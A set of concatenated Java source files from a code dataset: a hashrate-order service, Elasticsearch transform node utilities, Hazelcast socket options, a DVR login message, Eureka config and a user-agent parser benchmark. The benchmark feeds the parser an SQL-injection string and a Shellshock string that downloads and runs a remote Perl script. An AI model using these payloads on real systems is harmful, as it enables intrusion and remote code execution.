hashOrder.setFee( parameterService.getHashFee().multiply(new BigDecimal(param.getHash())).setScale(10) );
hashOrder.setState(HashOrder.Status_Unpaid);
hashOrder.setPeriod(hashrate.getPeriod());
hashOrder.setRateId(param.getHashRateId());
hashOrderRepository.save(hashOrder);
HashOrderResult result = new HashOrderResult();
result.setAddress(parameterService.getAdminAddress());
result.setCost(hashOrder.getCost());
return result;
}
/**
* 确认订单生效
* @param id 订单id
*/
@Transactional
public void hashOrderSuccess(Long id) {
log.warn("确认订单生效,订单id:{},操作人:{}", id, SessionUtil.currentUserId());
Optional<HashOrder> hashOrderOptional = hashOrderRepository.findById(id);
if ( !hashOrderOptional.isPresent() ) {
throw new NotFoundError();
}
HashOrder hashOrder = hashOrderOptional.get();
if ( hashOrder.getState().equals(HashOrder.Status_Unpaid) ) {
Optional<Hashrate> hashrateOptional = hashrateRepository.findById(hashOrder.getRateId());
Hashrate hashrate = hashrateOptional.get();
if (hashrate.getBalance() < hashOrder.getHash()) {
throw new HashNotEnoughError();
}
hashOrder.setState(HashOrder.Status_Paid);
hashOrder.setStartTime( DateUtil.tomorrow() );
hashOrder.setEndTime(DateUtils.addYears(hashOrder.getStartTime(), hashrate.getPeriod()));
hashrate.setBalance(hashrate.getBalance() - hashOrder.getHash());
hashOrderRepository.save(hashOrder);
Charge charge = new Charge();
charge.setUsername(hashOrder.getUsername());
charge.setValue(hashOrder.getCost());
chargeRepository.save(charge);
Account account = accountRepository.findById(hashOrder.getUsername()).get();
if ( StringUtils.isNoneBlank(account.getInvitedId()) ) {
Account invitedAccount = accountRepository.findById(account.getInvitedId()).get();
if (invitedAccount.getBalance() == null) {
invitedAccount.setBalance(BigDecimal.ZERO);
}
BigDecimal v = parameterService.getRecommend().multiply(new BigDecimal(hashOrder.getHash())).setScale(10);
invitedAccount.setBalance( invitedAccount.getBalance().add(v).setScale(10) );
accountRepository.save(invitedAccount);
Gain gain = new Gain();
Gain.GainPK gainPK = new Gain.GainPK();
gainPK.setDate(DateUtil.today());
gainPK.setUsername(invitedAccount.getMobile());
gainPK.setType(Gain.Type_Recommend);
gain.setGainPK(gainPK);
gain.setValue(v);
gainRepository.save(gain);
}
}
}
/**
* 分页查询
* @param page
* @param size
* @return
*/
public Page<HashOrder> page(int page, int size) {
return hashOrderRepository.findAllByState(HashOrder.Status_Unpaid, PageRequest.of(page, size, Sort.Direction.DESC, "id"));
}
/**
* 某用户当前算力
* @param username
* @return
*/
public Integer currentHash(String username) {
Date today = DateUtils.truncate(new Date(), Calendar.DAY_OF_MONTH);
List<HashOrder> orders = hashOrderRepository.findAllByStateAndUsernameAndEndTimeGreaterThanEqual(HashOrder.Status_Paid, username, today);
return orders.stream().mapToInt(HashOrder::getHash).sum();
}
}
|
3e0e3fd15b8c8763b0b8a4ac375845daa3f169b7 | 204 | java | Java | backend/src/main/java/org/gcnc/calculate/service/CalculateService.java | antpas14/fantalegheEV | 1a8d2dd68e06ea11c293258c551c8cd03831b287 | [
"MIT"
] | 1 | 2017-10-21T20:29:48.000Z | 2017-10-21T20:29:48.000Z | backend/src/main/java/org/gcnc/calculate/service/CalculateService.java | antpas14/fantalegheEV | 1a8d2dd68e06ea11c293258c551c8cd03831b287 | [
"MIT"
] | 13 | 2019-05-23T21:11:58.000Z | 2021-12-09T19:47:50.000Z | backend/src/main/java/org/gcnc/calculate/service/CalculateService.java | antpas14/fantalegheEV | 1a8d2dd68e06ea11c293258c551c8cd03831b287 | [
"MIT"
] | 1 | 2022-03-14T16:32:45.000Z | 2022-03-14T16:32:45.000Z | 22.666667 | 44 | 0.808824 | 6,038 | package org.gcnc.calculate.service;
import org.gcnc.calculate.model.Request;
import org.gcnc.calculate.model.Response;
public interface CalculateService {
Response calculateResponse(Request req);
}
|
3e0e3fd6456ab13de26e8c07ae5c94f8f4db0fd1 | 10,795 | java | Java | x-pack/plugin/transform/src/main/java/org/elasticsearch/xpack/transform/transforms/TransformNodes.java | diwasjoshi/elasticsearch | 58ce0f94a0bbdf2576e0a00a62abe1854ee7fe2f | [
"Apache-2.0"
] | null | null | null | x-pack/plugin/transform/src/main/java/org/elasticsearch/xpack/transform/transforms/TransformNodes.java | diwasjoshi/elasticsearch | 58ce0f94a0bbdf2576e0a00a62abe1854ee7fe2f | [
"Apache-2.0"
] | null | null | null | x-pack/plugin/transform/src/main/java/org/elasticsearch/xpack/transform/transforms/TransformNodes.java | diwasjoshi/elasticsearch | 58ce0f94a0bbdf2576e0a00a62abe1854ee7fe2f | [
"Apache-2.0"
] | null | null | null | 42.167969 | 140 | 0.668087 | 6,039 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0; you may not use this file except in compliance with the Elastic License
* 2.0.
*/
package org.elasticsearch.xpack.transform.transforms;
import org.elasticsearch.Version;
import org.elasticsearch.action.ActionListener;
import org.elasticsearch.action.ActionListenerResponseHandler;
import org.elasticsearch.cluster.ClusterState;
import org.elasticsearch.cluster.node.DiscoveryNode;
import org.elasticsearch.cluster.node.DiscoveryNodeRole;
import org.elasticsearch.cluster.node.DiscoveryNodes;
import org.elasticsearch.common.io.stream.Writeable;
import org.elasticsearch.common.logging.HeaderWarning;
import org.elasticsearch.common.settings.Settings;
import org.elasticsearch.persistent.PersistentTasksCustomMetadata;
import org.elasticsearch.persistent.PersistentTasksCustomMetadata.Assignment;
import org.elasticsearch.persistent.PersistentTasksCustomMetadata.PersistentTask;
import org.elasticsearch.transport.TransportRequest;
import org.elasticsearch.transport.TransportResponse;
import org.elasticsearch.transport.TransportService;
import org.elasticsearch.xpack.core.ml.utils.ExceptionsHelper;
import org.elasticsearch.xpack.core.transform.TransformMessages;
import org.elasticsearch.xpack.core.transform.TransformMetadata;
import java.util.Collection;
import java.util.Collections;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Optional;
import java.util.Set;
import java.util.TreeMap;
import java.util.stream.Collectors;
import java.util.stream.StreamSupport;
public final class TransformNodes {
private TransformNodes() {}
/**
* Get node assignments for a given list of transforms.
*
* @param transformIds The transforms.
* @param clusterState State
* @return The {@link TransformNodeAssignments} for the given transforms.
*/
public static TransformNodeAssignments transformTaskNodes(List<String> transformIds, ClusterState clusterState) {
Set<String> executorNodes = new HashSet<>();
Set<String> assigned = new HashSet<>();
Set<String> waitingForAssignment = new HashSet<>();
Set<String> transformIdsSet = new HashSet<>(transformIds);
Collection<PersistentTasksCustomMetadata.PersistentTask<?>> tasks = TransformTask.findTransformTasks(transformIdsSet, clusterState);
for (PersistentTasksCustomMetadata.PersistentTask<?> task : tasks) {
if (task.isAssigned()) {
executorNodes.add(task.getExecutorNode());
assigned.add(task.getId());
} else {
waitingForAssignment.add(task.getId());
}
}
Set<String> stopped = transformIds.stream()
.filter(id -> (assigned.contains(id) || waitingForAssignment.contains(id)) == false)
.collect(Collectors.toSet());
return new TransformNodeAssignments(executorNodes, assigned, waitingForAssignment, stopped);
}
/**
* Get node assignments for a given transform pattern.
*
* Note: This only returns p-task assignments, stopped transforms are not reported. P-Tasks can be running or waiting for a node.
*
* @param transformId The transform or a wildcard pattern, including '_all' to match against transform tasks.
* @param clusterState State
* @return The {@link TransformNodeAssignments} for the given pattern.
*/
public static TransformNodeAssignments findPersistentTasks(String transformId, ClusterState clusterState) {
Set<String> executorNodes = new HashSet<>();
Set<String> assigned = new HashSet<>();
Set<String> waitingForAssignment = new HashSet<>();
Collection<PersistentTasksCustomMetadata.PersistentTask<?>> tasks = TransformTask.findTransformTasks(transformId, clusterState);
for (PersistentTasksCustomMetadata.PersistentTask<?> task : tasks) {
if (task.isAssigned()) {
executorNodes.add(task.getExecutorNode());
assigned.add(task.getId());
} else {
waitingForAssignment.add(task.getId());
}
}
return new TransformNodeAssignments(executorNodes, assigned, waitingForAssignment, Collections.emptySet());
}
/**
* Get the assignment of a specific transform.
*
* @param transformId the transform id
* @param clusterState state
* @return {@link Assignment} of task
*/
public static Assignment getAssignment(String transformId, ClusterState clusterState) {
PersistentTask<?> task = TransformTask.getTransformTask(transformId, clusterState);
if (task != null) {
return task.getAssignment();
}
return PersistentTasksCustomMetadata.INITIAL_ASSIGNMENT;
}
/**
* Get the number of transform nodes in the cluster
*
* @param nodes nodes to examine
* @return number of transform nodes
*/
public static boolean hasAnyTransformNode(DiscoveryNodes nodes) {
return StreamSupport.stream(nodes.spliterator(), false)
.anyMatch(node -> node.getRoles().contains(DiscoveryNodeRole.TRANSFORM_ROLE));
}
/**
* Check if cluster has at least 1 transform nodes and add a header warning if not.
* To be used by transport actions only.
* Don't do this if a reset is in progress, because the feature reset API touches
* all features even if they have never been used.
*
* @param clusterState state
*/
public static void warnIfNoTransformNodes(ClusterState clusterState) {
if (TransformMetadata.getTransformMetadata(clusterState).isResetMode() == false) {
if (hasAnyTransformNode(clusterState.getNodes()) == false) {
HeaderWarning.addWarning(TransformMessages.REST_WARN_NO_TRANSFORM_NODES);
}
}
}
/**
* Check if cluster has at least 1 transform nodes and throw an exception if not.
* To be used by transport actions only.
*
* @param clusterState state
*/
public static void throwIfNoTransformNodes(ClusterState clusterState) {
if (hasAnyTransformNode(clusterState.getNodes()) == false) {
throw ExceptionsHelper.badRequestException(TransformMessages.REST_WARN_NO_TRANSFORM_NODES);
}
}
public static <Request extends TransportRequest, Response extends TransportResponse> boolean redirectToAnotherNodeIfNeeded(
ClusterState clusterState,
Settings nodeSettings,
boolean requiresRemote,
TransportService transportService,
String actionName,
Request request,
Writeable.Reader<Response> reader,
ActionListener<Response> listener
) {
final boolean isTransformNode = DiscoveryNode.hasRole(nodeSettings, DiscoveryNodeRole.TRANSFORM_ROLE);
final boolean isRemoteClusterClientNode = DiscoveryNode.isRemoteClusterClient(nodeSettings);
final DiscoveryNodes nodes = clusterState.nodes();
if ((isTransformNode == false) || (requiresRemote && (isRemoteClusterClientNode == false))) {
Optional<DiscoveryNode> appropriateNode = selectAnyNodeThatCanRunThisTransform(nodes, requiresRemote);
if (appropriateNode.isPresent()) {
// Redirect the request to an appropriate node
transportService.sendRequest(
appropriateNode.get(),
actionName,
request,
new ActionListenerResponseHandler<>(listener, reader)
);
} else {
Map<String, String> explain = new TreeMap<>();
for (DiscoveryNode node : nodes) {
nodeCanRunThisTransform(node, Version.V_7_13_0, requiresRemote, explain);
}
// There are no appropriate nodes in the cluster, fail
listener.onFailure(
ExceptionsHelper.badRequestException(
"No appropriate node to run on, reasons [{}]",
explain.entrySet().stream().map(e -> e.getKey() + ":" + e.getValue()).collect(Collectors.joining("|"))
)
);
}
return true;
}
return false;
}
/**
* Select any node among provided nodes that satisfies all of the following:
* - is a transform node
* - is a remote_cluster_client node (in case this transform uses CCS, i.e. requires access to remote indices)
* - runs at least version 7.13
* This is needed as version 7.13 contains changes in wire format of {@code TransformDestIndexSettings} which are needed to correctly
* read the redirected response.
*
* @param nodes nodes to select from
* @param requiresRemote whether this transform requires access to remote indices
* @return selected node or {@code Optional.empty()} if none of the nodes satisfy the conditions
*/
static Optional<DiscoveryNode> selectAnyNodeThatCanRunThisTransform(DiscoveryNodes nodes, boolean requiresRemote) {
return StreamSupport.stream(nodes.spliterator(), false)
.filter(node -> nodeCanRunThisTransform(node, Version.V_7_13_0, requiresRemote, null))
.findAny();
}
public static boolean nodeCanRunThisTransform(
DiscoveryNode node,
Version minRequiredVersion,
boolean requiresRemote,
Map<String, String> explain
) {
// version of the transform run on a node that has at least the same version
if (node.getVersion().onOrAfter(minRequiredVersion) == false) {
if (explain != null) {
explain.put(
node.getId(),
"node has version: " + node.getVersion() + " but transform requires at least " + minRequiredVersion
);
}
return false;
}
// transform enabled?
if (node.getRoles().contains(DiscoveryNodeRole.TRANSFORM_ROLE) == false) {
if (explain != null) {
explain.put(node.getId(), "not a transform node");
}
return false;
}
// does the transform require a remote and remote is enabled?
if (requiresRemote && node.isRemoteClusterClient() == false) {
if (explain != null) {
explain.put(node.getId(), "transform requires a remote connection but remote is disabled");
}
return false;
}
// we found no reason that the transform can not run on this node
return true;
}
}
|
3e0e3ffdb01211c50046dd926ae2f4f9ed66e663 | 4,491 | java | Java | hazelcast/src/main/java/com/hazelcast/internal/networking/nio/NioChannelOptions.java | tufangorel/hazelcast | e63f8f5f67b002ff0b9b88532fe332e9767f909d | [
"Apache-2.0"
] | 1 | 2018-10-31T18:37:58.000Z | 2018-10-31T18:37:58.000Z | hazelcast/src/main/java/com/hazelcast/internal/networking/nio/NioChannelOptions.java | tufangorel/hazelcast | e63f8f5f67b002ff0b9b88532fe332e9767f909d | [
"Apache-2.0"
] | null | null | null | hazelcast/src/main/java/com/hazelcast/internal/networking/nio/NioChannelOptions.java | tufangorel/hazelcast | e63f8f5f67b002ff0b9b88532fe332e9767f909d | [
"Apache-2.0"
] | null | null | null | 40.827273 | 118 | 0.649521 | 6,040 | /*
* Copyright (c) 2008-2018, Hazelcast, Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.hazelcast.internal.networking.nio;
import com.hazelcast.core.HazelcastException;
import com.hazelcast.internal.networking.Channel;
import com.hazelcast.internal.networking.ChannelOptions;
import com.hazelcast.internal.networking.ChannelOption;
import java.net.Socket;
import java.net.SocketException;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import static com.hazelcast.internal.networking.ChannelOption.DIRECT_BUF;
import static com.hazelcast.internal.networking.ChannelOption.SO_KEEPALIVE;
import static com.hazelcast.internal.networking.ChannelOption.SO_LINGER;
import static com.hazelcast.internal.networking.ChannelOption.SO_RCVBUF;
import static com.hazelcast.internal.networking.ChannelOption.SO_REUSEADDR;
import static com.hazelcast.internal.networking.ChannelOption.SO_SNDBUF;
import static com.hazelcast.internal.networking.ChannelOption.SO_TIMEOUT;
import static com.hazelcast.internal.networking.ChannelOption.TCP_NODELAY;
import static com.hazelcast.util.Preconditions.checkNotNull;
/**
* Contains the configuration for a {@link Channel}.
*/
final class NioChannelOptions implements ChannelOptions {
private final Map<String, Object> values = new ConcurrentHashMap<String, Object>();
private final Socket socket;
NioChannelOptions(Socket socket) {
setOption(DIRECT_BUF, false);
this.socket = socket;
}
@Override
public <T> T getOption(ChannelOption<T> option) {
try {
if (option.equals(TCP_NODELAY)) {
return (T) (Boolean) socket.getTcpNoDelay();
} else if (option.equals(SO_RCVBUF)) {
return (T) (Integer) socket.getReceiveBufferSize();
} else if (option.equals(SO_SNDBUF)) {
return (T) (Integer) socket.getSendBufferSize();
} else if (option.equals(SO_KEEPALIVE)) {
return (T) (Boolean) socket.getKeepAlive();
} else if (option.equals(SO_REUSEADDR)) {
return (T) (Boolean) socket.getReuseAddress();
} else if (option.equals(SO_TIMEOUT)) {
return (T) (Integer) socket.getSoTimeout();
} else if (option.equals(SO_LINGER)) {
return (T) (Integer) socket.getSoLinger();
} else {
return (T) values.get(option.name());
}
} catch (SocketException e) {
throw new HazelcastException("Failed to getOption [" + option.name() + "]", e);
}
}
@Override
public <T> NioChannelOptions setOption(ChannelOption<T> option, T value) {
checkNotNull(option, "option can't be null");
checkNotNull(value, "value can't be null");
try {
if (option.equals(TCP_NODELAY)) {
socket.setTcpNoDelay((Boolean) value);
} else if (option.equals(SO_RCVBUF)) {
socket.setReceiveBufferSize((Integer) value);
} else if (option.equals(SO_SNDBUF)) {
socket.setSendBufferSize((Integer) value);
} else if (option.equals(SO_KEEPALIVE)) {
socket.setKeepAlive((Boolean) value);
} else if (option.equals(SO_REUSEADDR)) {
socket.setReuseAddress((Boolean) value);
} else if (option.equals(SO_TIMEOUT)) {
socket.setSoTimeout((Integer) value);
} else if (option.equals(SO_LINGER)) {
int soLonger = (Integer) value;
if (soLonger > 0) {
socket.setSoLinger(true, soLonger);
}
} else {
values.put(option.name(), value);
}
} catch (SocketException e) {
throw new HazelcastException("Failed to setOption [" + option.name() + "] with value [" + value + "]", e);
}
return this;
}
}
|
3e0e4059b15c05da2731cbc81dcdb9313122b471 | 1,219 | java | Java | thekey-api/src/main/java/me/thekey/android/exception/InvalidGrantApiError.java | CruGlobal/android-thekey | b6f572c3abc1b7369d5a2f0d9b25df0af49c0379 | [
"MIT"
] | null | null | null | thekey-api/src/main/java/me/thekey/android/exception/InvalidGrantApiError.java | CruGlobal/android-thekey | b6f572c3abc1b7369d5a2f0d9b25df0af49c0379 | [
"MIT"
] | 15 | 2019-06-06T15:45:10.000Z | 2021-05-21T12:44:22.000Z | thekey-api/src/main/java/me/thekey/android/exception/InvalidGrantApiError.java | GlobalTechnology/android-thekey | b6f572c3abc1b7369d5a2f0d9b25df0af49c0379 | [
"MIT"
] | null | null | null | 32.945946 | 112 | 0.743232 | 6,041 | package me.thekey.android.exception;
import org.json.JSONObject;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.annotation.RestrictTo;
import static androidx.annotation.RestrictTo.Scope.LIBRARY;
import static me.thekey.android.exception.InvalidCredentialsAuthError.ERROR_INVALID_CREDENTIALS;
public class InvalidGrantApiError extends TheKeyApiError {
public static final String ERROR_INVALID_GRANT = "invalid_grant";
private static final String JSON_AUTH_ERROR = "thekey_authn_error";
InvalidGrantApiError(final int responseCode, @NonNull final JSONObject json) {
super(responseCode, json);
}
@Nullable
public String getAuthError() {
return mJsonResponse.optString(JSON_AUTH_ERROR, null);
}
@NonNull
@RestrictTo(LIBRARY)
static InvalidGrantApiError parseInvalidGrantError(final int responseCode, @NonNull final JSONObject json) {
switch (json.optString(JSON_AUTH_ERROR, "")) {
case ERROR_INVALID_CREDENTIALS:
return new InvalidCredentialsAuthError(responseCode, json);
default:
return new InvalidGrantApiError(responseCode, json);
}
}
}
|
3e0e40a79e5050951df7988ceb28f7b60d7d7ba0 | 6,039 | java | Java | benchmarks/src/main/java/nl/basjes/parse/useragent/benchmarks/AnalyzerBenchmarks.java | jdcaperon/yauaa | e244849c3bc59e4dd0126091c84dd19fdd04d13c | [
"Apache-2.0"
] | 596 | 2016-07-13T11:32:18.000Z | 2022-03-29T09:53:18.000Z | benchmarks/src/main/java/nl/basjes/parse/useragent/benchmarks/AnalyzerBenchmarks.java | jdcaperon/yauaa | e244849c3bc59e4dd0126091c84dd19fdd04d13c | [
"Apache-2.0"
] | 388 | 2016-07-05T09:36:08.000Z | 2022-03-31T19:12:51.000Z | benchmarks/src/main/java/nl/basjes/parse/useragent/benchmarks/AnalyzerBenchmarks.java | jdcaperon/yauaa | e244849c3bc59e4dd0126091c84dd19fdd04d13c | [
"Apache-2.0"
] | 127 | 2016-07-22T08:57:51.000Z | 2022-03-28T07:53:54.000Z | 39.993377 | 141 | 0.680907 | 6,042 | /*
* Yet Another UserAgent Analyzer
* Copyright (C) 2013-2021 Niels Basjes
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package nl.basjes.parse.useragent.benchmarks;
import nl.basjes.parse.useragent.UserAgent;
import nl.basjes.parse.useragent.UserAgentAnalyzer;
import org.openjdk.jmh.annotations.Benchmark;
import org.openjdk.jmh.annotations.BenchmarkMode;
import org.openjdk.jmh.annotations.Fork;
import org.openjdk.jmh.annotations.Measurement;
import org.openjdk.jmh.annotations.Mode;
import org.openjdk.jmh.annotations.OutputTimeUnit;
import org.openjdk.jmh.annotations.Scope;
import org.openjdk.jmh.annotations.State;
import org.openjdk.jmh.annotations.Warmup;
import org.openjdk.jmh.runner.Runner;
import org.openjdk.jmh.runner.RunnerException;
import org.openjdk.jmh.runner.options.Options;
import org.openjdk.jmh.runner.options.OptionsBuilder;
import java.util.concurrent.TimeUnit;
@Warmup(iterations = 20)
@Measurement(iterations = 10)
@Fork(1)
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.MILLISECONDS)
public class AnalyzerBenchmarks {
@State(Scope.Benchmark)
public static class ThreadState {
final UserAgentAnalyzer uaa;
public ThreadState() {
uaa = UserAgentAnalyzer.newBuilder()
.withoutCache()
.hideMatcherLoadStats()
.build();
uaa.parse((String)null);
}
}
@Benchmark
public UserAgent android6Chrome46(ThreadState state) {
return state.uaa.parse("Mozilla/5.0 (Linux; Android 6.0; Nexus 6 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) " +
"Chrome/46.0.2490.76 Mobile Safari/537.36");
}
@Benchmark
public UserAgent androidPhone(ThreadState state) {
return state.uaa.parse("Mozilla/5.0 (Linux; Android 5.0.1; ALE-L21 Build/HuaweiALE-L21) AppleWebKit/537.36 (KHTML, like Gecko) " +
"Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36");
}
@Benchmark
public UserAgent googlebot(ThreadState state) {
return state.uaa.parse("Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)");
}
@Benchmark
public UserAgent googleBotMobileAndroid(ThreadState state) {
return state.uaa.parse("Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) " +
"Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)");
}
@Benchmark
public UserAgent googleAdsBot(ThreadState state) {
return state.uaa.parse("AdsBot-Google (+http://www.google.com/adsbot.html)");
}
@Benchmark
public UserAgent googleAdsBotMobile(ThreadState state) {
return state.uaa.parse("Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) " +
"Version/9.0 Mobile/13B143 Safari/601.1 (compatible; AdsBot-Google-Mobile; +http://www.google.com/mobile/adsbot.html)");
}
@Benchmark
public UserAgent iPhone(ThreadState state) {
return state.uaa.parse("Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) " +
"Version/9.0 Mobile/13F69 Safari/601.1");
}
@Benchmark
public UserAgent iPhoneFacebookApp(ThreadState state) {
return state.uaa.parse("Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) " +
"Mobile/13G34 [FBAN/FBIOS;FBAV/61.0.0.53.158;FBBV/35251526;FBRV/0;FBDV/iPhone7,2;FBMD/iPhone;FBSN/iPhone OS;" +
"FBSV/9.3.3;FBSS/2;FBCR/vfnl;FBID/phone;FBLC/nl_NL;FBOP/5]");
}
@Benchmark
public UserAgent iPad(ThreadState state) {
return state.uaa.parse("Mozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) " +
"Version/9.0 Mobile/13F69 Safari/601.1");
}
@Benchmark
public UserAgent win7ie11(ThreadState state) {
return state.uaa.parse("Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko");
}
@Benchmark
public UserAgent win10Edge13(ThreadState state) {
return state.uaa.parse("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " +
"Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586");
}
@Benchmark
public UserAgent win10Chrome51(ThreadState state) {
return state.uaa.parse("Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) " +
"Chrome/51.0.2704.103 Safari/537.36");
}
@Benchmark
public UserAgent win10IE11(ThreadState state) {
return state.uaa.parse("Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
}
@Benchmark
public UserAgent hackerSQL(ThreadState state) {
return state.uaa.parse("-8434))) OR 9695 IN ((CHAR(113)+CHAR(107)+CHAR(106)+CHAR(118)+CHAR(113)+(SELECT " +
"(CASE WHEN (9695=9695) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(118)+CHAR(113))) AND (((4283=4283");
}
@Benchmark
public UserAgent hackerShellShock(ThreadState state) {
return state.uaa.parse("() { :;}; /bin/bash -c \\\"\"wget -O /tmp/bbb ons.myftp.org/bot.txt; perl /tmp/bbb\\\"\"");
}
public static void main(String[] args) throws RunnerException {
Options opt = new OptionsBuilder()
.include(AnalyzerBenchmarks.class.getSimpleName())
.build();
new Runner(opt).run();
}
}
|
3e0e40deddbbe539c9ed7119d9a7fbe54b71c645 | 2,843 | java | Java | camclient-dvr3/src/main/java/com/adigerber/camclient/dvr3/msg/client/LoginRequest.java | adigerber/camclient | 3ff38e53290f35bdadfd643b8ef6a157d4af19ef | [
"MIT"
] | null | null | null | camclient-dvr3/src/main/java/com/adigerber/camclient/dvr3/msg/client/LoginRequest.java | adigerber/camclient | 3ff38e53290f35bdadfd643b8ef6a157d4af19ef | [
"MIT"
] | null | null | null | camclient-dvr3/src/main/java/com/adigerber/camclient/dvr3/msg/client/LoginRequest.java | adigerber/camclient | 3ff38e53290f35bdadfd643b8ef6a157d4af19ef | [
"MIT"
] | null | null | null | 24.721739 | 131 | 0.587408 | 6,043 | package com.adigerber.camclient.dvr3.msg.client;
import java.nio.ByteBuffer;
import com.adigerber.camclient.core.util.NetworkUtil;
import com.adigerber.camclient.dvr3.msg.ClientCommand;
public class LoginRequest implements ClientCommand {
private int loginType;
private byte[] ip;
private String username;
private String password;
private String computerName;
private byte[] mac;
private byte[] resv;
public static final int NETWORK_PROTOCOL_VERSION = 4;
public LoginRequest(String username, String password) {
this(3, new byte[4], username, password, "", new byte[6], new byte[2]);
}
public LoginRequest(int loginType, byte[] ip, String username, String password, String computerName, byte[] mac, byte[] resv) {
if (ip == null || ip.length != 4) {
throw new IllegalArgumentException("ip");
}
if (username == null) {
throw new NullPointerException("username");
}
if (password == null) {
throw new NullPointerException("password");
}
if (computerName == null) {
throw new NullPointerException("computerName");
}
if (mac == null || mac.length != 6) {
throw new IllegalArgumentException("mac");
}
if (resv == null || resv.length != 2) {
throw new IllegalArgumentException("resv");
}
this.loginType = loginType;
this.ip = ip;
this.username = username;
this.password = password;
this.computerName = computerName;
this.mac = mac;
this.resv = resv;
}
public int getLoginType() {
return loginType;
}
public byte[] getIp() {
return ip;
}
public String getUsername() {
return username;
}
public String getPassword() {
return password;
}
public String getComputerName() {
return computerName;
}
public byte[] getMac() {
return mac;
}
public byte[] getResv() {
return resv;
}
@Override
public int getType() {
return 0x00000101;
}
@Override
public int getCommandId() {
return 0;
}
@Override
public int getVersion() {
return 0;
}
@Override
public ByteBuffer serialize() {
ByteBuffer buffer = NetworkUtil.newLEByteBuffer(120)
.putInt(getLoginType())
.put(getIp())
.put(NetworkUtil.stringToFixedLengthBytes(getUsername(), 36))
.put(NetworkUtil.stringToFixedLengthBytes(getPassword(), 36))
.put(NetworkUtil.stringToFixedLengthBytes(getComputerName(), 28))
.put(getMac())
.put(getResv())
.putInt(NETWORK_PROTOCOL_VERSION)
.flip();
return buffer;
}
}
|
3e0e40df7cadd5bb4d0db954207a57930c1531e9 | 692 | java | Java | SpringEureka/src/main/java/com/shls/config/WebSecurityConfig.java | wangmingyang01/SpringCloud2Service | 22b51c71ce7afd78250e1f50caaadbe4ee3e5604 | [
"Apache-2.0"
] | null | null | null | SpringEureka/src/main/java/com/shls/config/WebSecurityConfig.java | wangmingyang01/SpringCloud2Service | 22b51c71ce7afd78250e1f50caaadbe4ee3e5604 | [
"Apache-2.0"
] | null | null | null | SpringEureka/src/main/java/com/shls/config/WebSecurityConfig.java | wangmingyang01/SpringCloud2Service | 22b51c71ce7afd78250e1f50caaadbe4ee3e5604 | [
"Apache-2.0"
] | null | null | null | 32.952381 | 101 | 0.800578 | 6,044 | package com.shls.config;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
/**
* 在对eureka注册中心服务端添加安全验证后,新版本springcloud出现一个问题就是,
* 在客户端注册到服务中心时报了一个错:Cannot execute request on any known server
* 添加以下配置类
*/
@EnableWebSecurity
class WebSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http.csrf().ignoringAntMatchers("/eureka/**");
super.configure(http);
}
}
|
3e0e411c9983ea404d236041a949d1db5078a116 | 506 | java | Java | gulimall-member/src/main/java/com/atguigu/gulimall/member/service/IntegrationChangeHistoryService.java | ShotoZheng/gulimall | 8bf0bd8d3436f07d34122f79035d97feede476d7 | [
"Apache-2.0"
] | null | null | null | gulimall-member/src/main/java/com/atguigu/gulimall/member/service/IntegrationChangeHistoryService.java | ShotoZheng/gulimall | 8bf0bd8d3436f07d34122f79035d97feede476d7 | [
"Apache-2.0"
] | null | null | null | gulimall-member/src/main/java/com/atguigu/gulimall/member/service/IntegrationChangeHistoryService.java | ShotoZheng/gulimall | 8bf0bd8d3436f07d34122f79035d97feede476d7 | [
"Apache-2.0"
] | null | null | null | 24.238095 | 99 | 0.793713 | 6,045 | package com.atguigu.gulimall.member.service;
import com.baomidou.mybatisplus.extension.service.IService;
import com.atguigu.common.utils.PageUtils;
import com.atguigu.gulimall.member.entity.IntegrationChangeHistoryEntity;
import java.util.Map;
/**
* 积分变化历史记录
*
* @author shotozheng
* @email nnheo@example.com
